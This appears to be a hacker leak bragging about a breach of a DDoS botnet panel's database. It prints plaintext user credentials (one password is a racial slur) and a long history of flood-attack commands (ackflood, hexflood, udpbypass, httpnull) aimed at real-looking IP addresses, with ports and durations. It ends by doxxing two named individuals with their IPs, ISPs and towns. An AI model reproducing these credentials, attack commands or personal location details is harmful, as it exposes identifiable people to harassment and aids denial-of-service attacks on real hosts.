██╗ ██╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗
██║ ██║██╔═══██╗██╔══██╗██╔══██╗██╔═══██╗██╔══██╗
███████║██║ ██║██████╔╝██████╔╝██║ ██║██████╔╝
██╔══██║██║ ██║██╔══██╗██╔══██╗██║ ██║██╔══██╗
██║ ██║╚██████╔╝██║ ██║██║ ██║╚██████╔╝██║ ██║
╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝
[+] sorry its just that i needed to test my exploit thingy (not bruter trust me).
[+] also hilix got a lil gready and he likes fucking around
[+] im a good man
[+] horrorhood
[+] hilix
██████╗ █████╗ ████████╗ █████╗ ██████╗ █████╗ ███████╗███████╗ ███████╗██╗ ██╗ ██████╗██╗ ██╗███████╗██████╗
██╔══██╗██╔══██╗╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔════╝ ██╔════╝██║ ██║██╔════╝██║ ██╔╝██╔════╝██╔══██╗
██║ ██║███████║ ██║ ███████║██████╔╝███████║███████╗█████╗ █████╗ ██║ ██║██║ █████╔╝ █████╗ ██║ ██║
██║ ██║██╔══██║ ██║ ██╔══██║██╔══██╗██╔══██║╚════██║██╔══╝ ██╔══╝ ██║ ██║██║ ██╔═██╗ ██╔══╝ ██║ ██║
██████╔╝██║ ██║ ██║ ██║ ██║██████╔╝██║ ██║███████║███████╗ ██║ ╚██████╔╝╚██████╗██║ ██╗███████╗██████╔╝
╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═════╝
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| saymack |
+--------------------+
+-------------------+
| Tables_in_saymack |
+-------------------+
| history |
| logins |
| users |
| whitelist |
+-------------------+
+----+----------+----------+----------------+----------+------+------------+----------+-------+-------+---------+
| id | username | password | duration_limit | cooldown | wrc | last_paid | max_bots | admin | intvl | api_key |
+----+----------+----------+----------------+----------+------+------------+----------+-------+-------+---------+
| 1 | akua | 253510 | 0 | 0 | 0 | 0 | -1 | 1 | 30 | |
| 14 | fuck | niggers | 30 | 30 | NULL | 1599250245 | -1 | 0 | 30 | NULL |
| 16 | api | 1337? | 30 | 0 | NULL | 1599427925 | -1 | 0 | 30 | NULL |
+----+----------+----------+----------------+----------+------+------------+----------+-------+-------+---------+
+-----+---------+------------+----------+----------------------------------------------------------------------+----------+
| id | user_id | time_sent | duration | command | max_bots |
+-----+---------+------------+----------+----------------------------------------------------------------------+----------+
| 85 | 7 | 1599110792 | 20 | hexflood 73.185.40.176 20 port=80 | -1 |
| 84 | 1 | 1599110524 | 15 | hexflood 73.73.73.73 15 | -1 |
| 83 | 1 | 1599110524 | 15 | hexflood 74.74.74.7 15 | -1 |
| 82 | 7 | 1599109642 | 20 | ackflood 74.74.74.78 20 port=80 | -1 |
| 81 | 1 | 1599108886 | 15 | hexflood 74.74.74.7 15 | -1 |
| 80 | 1 | 1599107842 | 15 | hexflood 117.27.239.28 15 port=22 pps=4096 | -1 |
| 79 | 1 | 1599105658 | 15 | ackflood 74.74.74.7 15 pps=1 | -1 |
| 78 | 7 | 1599105211 | 10 | ackflood 73.73.73.73 10 port=80 | -1 |
| 77 | 1 | 1599104753 | 10 | hexflood 73.73.73.73 10 | -1 |
| 76 | 1 | 1599104745 | 10 | udpflood 73.73.73.73 10 | -1 |
| 75 | 1 | 1599104739 | 10 | synflood 73.73.73.73 10 | -1 |
| 74 | 1 | 1599104730 | 10 | dnsflood 73.73.73.73 10 | -1 |
| 73 | 1 | 1599104656 | 10 | hexflood 73.73.73.73 10 | -1 |
| 72 | 7 | 1599104593 | 20 | ackflood 174.87.218.206 20 port=53 | -1 |
| 71 | 7 | 1599102733 | 1 | ackflood 74.74.74.7 1 port=80 | -1 |
| 70 | 1 | 1599102598 | 15 | ackflood 121.226.4.144 15 | -1 |
| 69 | 1 | 1599101226 | 15 | ackflood 74.74.74.7 15 | -1 |
| 68 | 1 | 1599099870 | 10 | ackflood 74.74.74.7 10 pps=512 | -1 |
| 67 | 7 | 1599099595 | 20 | hexflood 74.74.74.7 20 port=80 | -1 |
| 66 | 1 | 1599098816 | 30 | hexflood 174.77.71.222 30 port=3074 pps=1400 | -1 |
| 65 | 1 | 1599097939 | 10 | hexflood 74.74.74.7 10 | -1 |
| 64 | 6 | 1599095246 | 10 | /udphex 73.73.73.73 10 dport=80 | -1 |
| 63 | 1 | 1599095047 | 15 | /httpget 51.159.30.249 15 domain=51.159.30.249 conns=1400 | -1 |
| 62 | 1 | 1599094625 | 10 | /udpbypass 74.74.74.7 10 | -1 |
| 61 | 6 | 1599094002 | 15 | /udpbypass 73.73.73.73 15 dport=80 | -1 |
| 60 | 6 | 1599090634 | 20 | /udpbypass 73.73.73.73 20 dport=80 | -1 |
| 59 | 1 | 1599088867 | 10 | /udpbypass 73.135.175.149 10 | -1 |
| 58 | 6 | 1599088055 | 10 | /udpbypass 74.74.74.7 10 dport=80 | -1 |
| 57 | 6 | 1599085348 | 15 | /udpbypass 74.74.74.7 15 dport=80 | -1 |
| 56 | 1 | 1599085328 | 10 | /udpbypass 122.244.223.63 10 | -1 |
| 55 | 1 | 1599084174 | 30 | /udpbypass 76.253.6.208 30 dport=3074 | -1 |
| 54 | 1 | 1599084018 | 15 | /udpbypass 117.27.239.28 15 dport=22 pps=4096 | -1 |
| 53 | 6 | 1599083900 | 20 | /udpbypass 74.74.74.7 20 dport=80 | -1 |
| 52 | 1 | 1599082867 | 30 | /udpbypass 149.56.17.122 30 dport=80 | -1 |
| 51 | 1 | 1599082798 | 15 | /udpbypass 74.74.74.7 15 | -1 |
| 50 | 6 | 1599082208 | 15 | /udpbypass 74.74.74.7 15 dport=80 | -1 |
| 49 | 1 | 1599080891 | 15 | /udpbypass 74.74.74.7 15 | -1 |
| 48 | 6 | 1599077628 | 10 | /udpbypass 74.74.74.7 10 dport=80 | -1 |
| 86 | 7 | 1599111509 | 20 | hexflood 73.185.40.176 20 port=1 | -1 |
| 87 | 1 | 1599112551 | 30 | ackflood 66.151.138.10 30 pps=1400 | -1 |
| 88 | 7 | 1599114568 | 30 | ackflood 70.70.70.73 30 port=80 | -1 |
| 89 | 7 | 1599115199 | 20 | ackflood 50.50.50.52 20 port=80 | -1 |
| 90 | 1 | 1599115363 | 10 | synflood 50.50.50.52 10 | -1 |
| 91 | 1 | 1599115415 | 30 | synflood 50.50.50.52 30 | -1 |
| 92 | 1 | 1599115647 | 30 | ackflood 96.40.42.30 30 | -1 |
| 93 | 1 | 1599115662 | 10 | hexflood 96.40.42.30 10 | -1 |
| 94 | 1 | 1599115694 | 30 | synflood 76.31.116.18 30 | -1 |
| 95 | 1 | 1599115703 | 30 | hexflood 76.31.116.18 30 | -1 |
| 96 | 7 | 1599115913 | 20 | synflood 50.50.50.52 20 port=80 | -1 |
| 97 | 1 | 1599115963 | 20 | vseflood 74.74.74.7 20 | -1 |
| 98 | 7 | 1599118481 | 15 | hexflood 50.50.50.52 15 port=80 | -1 |
| 99 | 1 | 1599119793 | 20 | hexflood 117.27.239.69 20 pps=4096 | -1 |
| 100 | 1 | 1599119838 | 15 | vseflood 117.27.239.69 15 | -1 |
| 101 | 7 | 1599150396 | 20 | ackflood 50.50.50.52 20 port=80 | -1 |
| 102 | 1 | 1599150430 | 20 | hexflood 50.50.50.52 20 | -1 |
| 103 | 7 | 1599151326 | 20 | ackflood 74.74.74.7 20 port=80 | -1 |
| 104 | 7 | 1599153343 | 20 | ackflood 74.74.74.7 20 port=80 | -1 |
| 105 | 1 | 1599153815 | 20 | ackflood 76.253.6.208 20 pps=1460 | -1 |
| 106 | 1 | 1599153912 | 30 | hexflood 76.253.6.208 30 port=8080 | -1 |
| 107 | 1 | 1599154250 | 30 | synflood 96.40.42.30 30 | -1 |
| 108 | 1 | 1599154262 | 30 | hexflood 96.40.42.30 30 | -1 |
| 109 | 7 | 1599154909 | 10 | hexflood 52.226.43.204 10 port=33100 | -1 |
| 110 | 7 | 1599156100 | 20 | hexflood 76.253.6.208 20 port=8080 | -1 |
| 111 | 7 | 1599159305 | 10 | ackflood 50.50.50.52 10 port=80 | -1 |
| 112 | 1 | 1599159491 | 10 | httpflood 46.166.142.81 10 domain=http://46.166.142.81/hit conns=512 | -1 |
| 113 | 7 | 1599160753 | 20 | ackflood 74.74.74.7 20 port=80 | -1 |
| 114 | 7 | 1599160969 | 10 | ackflood 50.50.50.52 10 port=80 | -1 |
| 115 | 7 | 1599161226 | 10 | hexflood 50.50.50.52 10 port=80 | -1 |
| 116 | 7 | 1599162327 | 15 | hexflood 50.50.50.52 15 port=80 | -1 |
| 117 | 1 | 1599163416 | 30 | hexflood 97.117.139.165 30 | -1 |
| 118 | 7 | 1599163550 | 20 | ackflood 74.74.74.7 20 port=80 | -1 |
| 119 | 1 | 1599164257 | 30 | hexflood 76.253.6.208 30 port=8080 | -1 |
| 120 | 8 | 1599165344 | 10 | hexflood 74.74.74.7 10 | 420 |
| 121 | 8 | 1599166016 | 10 | hexflood 50.50.50.52 10 port=80 | 420 |
| 122 | 1 | 1599166256 | 15 | ackflood 74.74.74.7 15 | -1 |
| 123 | 1 | 1599166270 | 1 | ackflood 74.74.74.7 1 | -1 |
| 124 | 9 | 1599166735 | 100 | hexflood 64.94.215.76 100 port=80 | 420 |
| 125 | 9 | 1599167022 | 120 | hexflood 76.253.6.208 120 port=8080 | 420 |
| 126 | 1 | 1599168189 | 20 | hexflood 64.94.215.76 20 | -1 |
| 127 | 1 | 1599168402 | 120 | ackflood 76.253.6.208 120 | -1 |
| 128 | 10 | 1599168645 | 60 | hexflood 76.253.6.208 60 port=8080 | 800 |
| 129 | 1 | 1599170665 | 30 | hexflood 76.253.6.208 30 port=8080 | -1 |
| 130 | 1 | 1599172088 | 20 | httpflood 23.237.42.18 20 domain=23.237.42.18 conns=5000 | -1 |
| 131 | 1 | 1599172196 | 15 | hexflood 103.95.221.2 15 port=22 pps=4096 | -1 |
| 132 | 10 | 1599172954 | 15 | udpflood 74.74.74.7 15 port=80 | 800 |
| 133 | 1 | 1599173300 | 10 | xmasflood 74.74.74.7 10 | -1 |
| 134 | 1 | 1599173322 | 1 | stdflood 74.74.74.7 1 | -1 |
| 135 | 1 | 1599173798 | 30 | stdflood 107.181.177.130 30 | -1 |
| 136 | 1 | 1599173823 | 60 | xmasflood 107.181.177.130 60 pps=1460 | -1 |
| 137 | 1 | 1599174274 | 20 | xmasflood 74.74.74.7 20 | -1 |
| 138 | 1 | 1599174942 | 10 | xmasflood 74.74.74.7 10 | -1 |
| 139 | 1 | 1599177695 | 10 | std 74.74.74.7 10 | -1 |
| 140 | 1 | 1599177716 | 10 | std 73.73.73.73 10 | -1 |
| 141 | 1 | 1599177742 | 10 | xmas 73.73.73.73 10 | -1 |
| 142 | 1 | 1599177764 | 10 | xmas 73.73.73.73 10 | -1 |
| 143 | 1 | 1599179341 | 10 | xmas 74.74.74.7 10 | -1 |
| 144 | 1 | 1599179438 | 5 | icmp 74.74.74.7 5 | -1 |
| 145 | 1 | 1599179485 | 5 | std 74.74.74.7 5 | -1 |
| 146 | 10 | 1599180078 | 20 | std 50.50.50.52 20 port=80 | 800 |
| 147 | 1 | 1599180837 | 10 | icmp 50.50.50.52 10 | -1 |
| 148 | 10 | 1599181088 | 20 | icmp 50.50.50.52 20 port=80 | 800 |
| 149 | 10 | 1599181198 | 10 | icmp 50.50.50.52 10 port=80 | 800 |
| 150 | 1 | 1599183142 | 15 | std 117.27.239.28 15 port=22 pps=4096 | -1 |
| 151 | 1 | 1599183210 | 15 | icmp 117.27.239.28 15 | -1 |
| 152 | 1 | 1599183890 | 10 | xmas 74.74.74.7 10 | -1 |
| 153 | 10 | 1599185566 | 15 | icmp 74.74.74.7 15 port=80 | 800 |
| 154 | 1 | 1599186061 | 10 | xmas 74.74.74.7 10 | -1 |
| 155 | 1 | 1599186751 | 5 | tcpack 73.73.73.73 5 | -1 |
| 156 | 1 | 1599186759 | 5 | tcpsyn 73.73.73.73 5 | -1 |
| 157 | 1 | 1599186768 | 5 | xmas 73.73.73.73 5 | -1 |
| 158 | 1 | 1599186779 | 10 | udp 73.73.73.73 10 | -1 |
| 159 | 1 | 1599186806 | 5 | icmp 73.73.73.73 5 | -1 |
| 160 | 1 | 1599186830 | 5 | std 73.73.73.73 5 | -1 |
| 161 | 1 | 1599186846 | 5 | vse 73.73.73.73 5 | -1 |
| 162 | 10 | 1599187664 | 30 | std 76.253.6.208 30 port=8080 | 800 |
| 163 | 10 | 1599187865 | 60 | std 76.253.6.208 60 port=8080 | 800 |
| 164 | 11 | 1599189112 | 30 | std 62.182.99.59 30 port=80 | 1000 |
| 165 | 1 | 1599189349 | 30 | xmas 62.182.99.59 30 | -1 |
| 166 | 1 | 1599189537 | 20 | std 62.182.99.59 20 pps=4095 | -1 |
| 167 | 1 | 1599191033 | 30 | std 76.180.65.124 30 | -1 |
| 168 | 1 | 1599192352 | 10 | xmas 74.74.74.7 10 | -1 |
| 169 | 11 | 1599192419 | 20 | std 74.74.74.7 20 port=80 | 1000 |
| 170 | 1 | 1599192861 | 20 | std 117.27.239.69 20 port=22 pps=4096 | -1 |
| 171 | 1 | 1599193208 | 20 | icmp 117.27.239.28 20 port=22 pps=4096 | -1 |
| 172 | 1 | 1599194322 | 30 | xmas 50.50.50.52 30 | -1 |
| 173 | 1 | 1599195766 | 20 | std 117.27.239.28 20 port=22 pps=4096 | -1 |
| 174 | 11 | 1599196715 | 300 | httpnull 207.38.125.59 300 domain=80 conns=512 | 1000 |
| 175 | 1 | 1599201653 | 30 | xmas 50.50.50.52 30 | -1 |
| 176 | 11 | 1599201827 | 30 | std 74.74.74.7 30 port=80 | 1000 |
| 177 | 1 | 1599202145 | 30 | std 190.134.49.58 30 | -1 |
| 178 | 1 | 1599204886 | 10 | std 71.198.9.71 10 | -1 |
| 179 | 1 | 1599204916 | 10 | std 71.198.9.71 10 | -1 |
| 180 | 11 | 1599235343 | 20 | std 50.50.50.52 20 port=80 | 1000 |
| 181 | 1 | 1599238375 | 30 | xmas 76.253.6.208 30 port=3074 | -1 |
| 182 | 1 | 1599238575 | 30 | std 76.253.6.208 30 port=3075 | -1 |
| 183 | 1 | 1599239979 | 30 | xmas 66.151.138.10 30 pps=4096 | -1 |
| 184 | 1 | 1599240018 | 30 | tcpsyn 66.151.138.10 30 port=21 | -1 |
| 185 | 1 | 1599240237 | 15 | httpnull 23.237.42.18 15 domain=23.237.42.18 conns=512 | -1 |
| 186 | 1 | 1599240651 | 20 | httpnull 172.64.84.203 20 domain=https://akuaovh.xyz/ conns=512 | -1 |
| 187 | 12 | 1599242764 | 15 | std 74.74.74.7 15 port=80 | 500 |
| 188 | 1 | 1599243114 | 120 | std 174.18.100.4 120 port=3074 | -1 |
| 189 | 1 | 1599243917 | 10 | xmas 74.74.74.7 10 | -1 |
| 190 | 1 | 1599245225 | 10 | std 50.50.50.52 10 | -1 |
| 191 | 1 | 1599245426 | 300 | std 76.253.6.208 300 | -1 |
| 192 | 1 | 1599246286 | 30 | std 24.130.177.95 30 | -1 |
| 193 | 1 | 1599246972 | 20 | tcpsyn 50.50.50.52 20 | -1 |
| 194 | 13 | 1599249545 | 20 | std 50.50.50.52 20 port=80 | -1 |
| 195 | 14 | 1599250332 | 10 | std 74.74.74.7 10 port=80 | -1 |
| 196 | 14 | 1599250500 | 15 | icmp 74.74.74.7 15 port=80 | -1 |
| 197 | 14 | 1599251302 | 20 | icmp 50.50.50.52 20 port=80 | -1 |
| 198 | 1 | 1599255744 | 20 | std 52.152.111.208 20 | -1 |
| 199 | 1 | 1599255761 | 20 | std 52.152.111.208 20 port=38801 | -1 |
| 200 | 1 | 1599260259 | 300 | std 209.6.244.70 300 port=300 | -1 |
| 201 | 1 | 1599261318 | 30 | icmp 209.6.244.70 30 | -1 |
| 202 | 1 | 1599261790 | 30 | xmas 209.6.244.70 30 | -1 |
| 203 | 14 | 1599263412 | 10 | std 209.6.244.70 10 port=80 | -1 |
| 204 | 14 | 1599263462 | 30 | icmp 209.6.244.70 30 port=3074 | -1 |
| 205 | 1 | 1599263966 | 20 | std 209.6.244.70 20 | -1 |
| 206 | 1 | 1599264062 | 60 | xmas 73.135.175.149 60 | -1 |
| 207 | 1 | 1599264113 | 120 | std 73.135.175.149 120 | -1 |
| 208 | 1 | 1599273183 | 15 | xmas 74.74.74.7 15 | -1 |
| 209 | 1 | 1599278033 | 30 | xmas 66.151.138.10 30 pps=1460 | -1 |
| 210 | 14 | 1599278123 | 15 | std 50.50.50.52 15 port=80 | -1 |
| 211 | 14 | 1599322869 | 15 | icmp 50.50.50.52 15 port=80 | -1 |
| 212 | 14 | 1599323530 | 15 | httpnull 23.237.42.18 15 domain=443 conns=512 | -1 |
| 213 | 1 | 1599323618 | 12 | httpnull 18.194.147.70 12 domain=18.194.147.70 conns=1400 | -1 |
| 214 | 1 | 1599324268 | 30 | std 76.253.6.208 30 port=8080 | -1 |
| 215 | 1 | 1599327348 | 15 | syn 50.50.50.52 15 | -1 |
| 216 | 1 | 1599328913 | 30 | std 76.253.6.208 30 dport=3074 | -1 |
| 217 | 1 | 1599330445 | 30 | udpplain 76.253.6.208 30 | -1 |
| 218 | 1 | 1599331097 | 15 | std 117.27.239.28 15 dport=22 len=4096 | -1 |
| 219 | 1 | 1599331192 | 15 | udpplain 117.27.239.69 15 len=1400 | -1 |
| 220 | 1 | 1599331390 | 60 | udpplain 76.253.6.208 60 dport=3074 | -1 |
| 221 | 1 | 1599336838 | 15 | udpplain 50.50.50.52 15 | -1 |
| 222 | 1 | 1599337038 | 15 | std 103.95.221.2 15 dport=22 len=4096 | -1 |
| 223 | 1 | 1599337122 | 15 | udpplain 103.95.221.8 15 dport=22 len=4096 | -1 |
| 224 | 1 | 1599337225 | 20 | udpplain 76.253.6.208 20 dport=8080 | -1 |
| 225 | 1 | 1599337587 | 15 | std 73.135.175.149 15 | -1 |
| 226 | 1 | 1599337596 | 15 | syn 73.135.175.149 15 | -1 |
| 227 | 1 | 1599337635 | 30 | syn 76.253.6.208 30 | -1 |
| 228 | 1 | 1599352904 | 60 | icmp 76.253.6.208 60 port=3074 | -1 |
| 229 | 1 | 1599353002 | 60 | std 205.157.150.117 60 port=3074 | -1 |
| 230 | 1 | 1599353370 | 30 | std 76.253.6.208 30 pps=4000 | -1 |
| 231 | 1 | 1599353454 | 60 | xmas 98.29.81.35 60 | -1 |
| 232 | 1 | 1599353908 | 20 | xmas 74.91.113.104 20 port=21 | -1 |
| 233 | 1 | 1599353952 | 15 | tcpsyn 74.91.113.104 15 port=21 | -1 |
| 234 | 1 | 1599354028 | 20 | icmp 71.198.9.71 20 | -1 |
| 235 | 1 | 1599355601 | 20 | xmas 71.198.9.71 20 | -1 |
| 236 | 1 | 1599355612 | 20 | std 71.198.9.71 20 | -1 |
| 237 | 1 | 1599359723 | 15 | httpnull 23.237.42.18 15 domain=http://23.237.42.18/hit conns=1420 | -1 |
| 238 | 1 | 1599359776 | 15 | httpnull 18.194.147.70 15 domain=18.194.147.70 conns=1400 | -1 |
| 239 | 1 | 1599359849 | 30 | udp 76.253.6.208 30 | -1 |
| 240 | 1 | 1599360149 | 30 | std 76.253.6.208 30 port=3074 | -1 |
| 241 | 1 | 1599360344 | 30 | icmp 174.108.76.22 30 | -1 |
| 242 | 1 | 1599361155 | 60 | icmp 172.113.75.110 60 port=3075 | -1 |
| 243 | 1 | 1599371098 | 120 | icmp 107.210.155.101 120 port=3074 | -1 |
| 244 | 1 | 1599412989 | 20 | xmas 73.135.175.149 20 | -1 |
| 245 | 1 | 1599413220 | 15 | udp 73.135.175.149 15 | -1 |
| 246 | 1 | 1599413253 | 15 | std 73.135.175.149 15 | -1 |
| 247 | 1 | 1599417626 | 120 | icmp 76.180.65.124 120 | -1 |
| 248 | 1 | 1599418217 | 60 | std 76.180.65.124 60 port=53 | -1 |
| 249 | 1 | 1599426263 | 30 | icmp 76.180.65.124 30 pps=1400 | -1 |
| 250 | 1 | 1599435099 | 120 | icmp 71.28.253.225 120 port=3074 | -1 |
| 251 | 1 | 1599435159 | 60 | icmp 98.148.103.198 60 port=3074 | -1 |
| 252 | 1 | 1599441029 | 15 | std 50.50.50.52 15 | -1 |
| 253 | 1 | 1599441456 | 15 | std 73.51.135.70 15 | -1 |
| 254 | 16 | 1599441727 | 20 | std 50.50.50.52 20 port=80 | -1 |
| 255 | 1 | 1599446786 | 10 | std 71.198.9.71 10 | -1 |
| 256 | 1 | 1599447152 | 10 | icmp 96.232.126.94 10 | -1 |
| 257 | 1 | 1599455126 | 30 | icmp 158.69.102.15 30 port=443 | -1 |
| 258 | 1 | 1599455195 | 20 | icmp 158.69.102.18 20 | -1 |
| 259 | 1 | 1599456014 | 30 | tcpsyn 158.69.102.48 30 | -1 |
| 260 | 1 | 1599456027 | 20 | icmp 158.69.102.48 20 | -1 |
| 261 | 1 | 1599458799 | 20 | std 158.69.102.161 20 port=53 | -1 |
| 262 | 1 | 1599458822 | 156 | std 158.69.102.11 156 | -1 |
| 263 | 1 | 1599459705 | 15 | icmp 158.69.102.18 15 | -1 |
| 264 | 1 | 1599459952 | 5 | xmas 74.74.74.7 5 pps=1 | -1 |
| 265 | 1 | 1599459968 | 30 | xmas 74.74.74.7 30 | -1 |
| 266 | 1 | 1599466387 | 40 | icmp 98.198.205.171 40 port=8080 | -1 |
| 267 | 1 | 1599467293 | 30 | icmp 173.50.67.246 30 port=56774 | -1 |
| 268 | 16 | 1599467606 | 30 | icmp 173.50.67.246 30 port=56774 | -1 |
| 269 | 1 | 1599470198 | 20 | icmp 185.220.101.4 20 | -1 |
| 270 | 1 | 1599470579 | 15 | icmp 158.69.102.18 15 | -1 |
| 271 | 1 | 1599470647 | 10 | icmp 158.69.102.14 10 | -1 |
| 272 | 16 | 1599471846 | 20 | icmp 158.69.102.19 20 port=443 | -1 |
+-----+---------+------------+----------+----------------------------------------------------------------------+----------+
██╗██████╗ ██╗ ███████╗ █████╗ ██╗ ██╗
██║██╔══██╗ ██║ ██╔════╝██╔══██╗██║ ██╔╝
██║██████╔╝ ██║ █████╗ ███████║█████╔╝
██║██╔═══╝ ██║ ██╔══╝ ██╔══██║██╔═██╗
██║██║ ███████╗███████╗██║ ██║██║ ██╗
╚═╝╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝
[N4TE]
-> IP: 67.187.47.62
-> ISP: Comcast Cable Communications, LLC
-> Region: Florida
-> City: Jacksonville (Maxville)
[PIKEY]
-> IP: 5.68.109.99
-> ISP: BSkyB Broadband
-> Region: England
-> City: Westcliff-on-Sea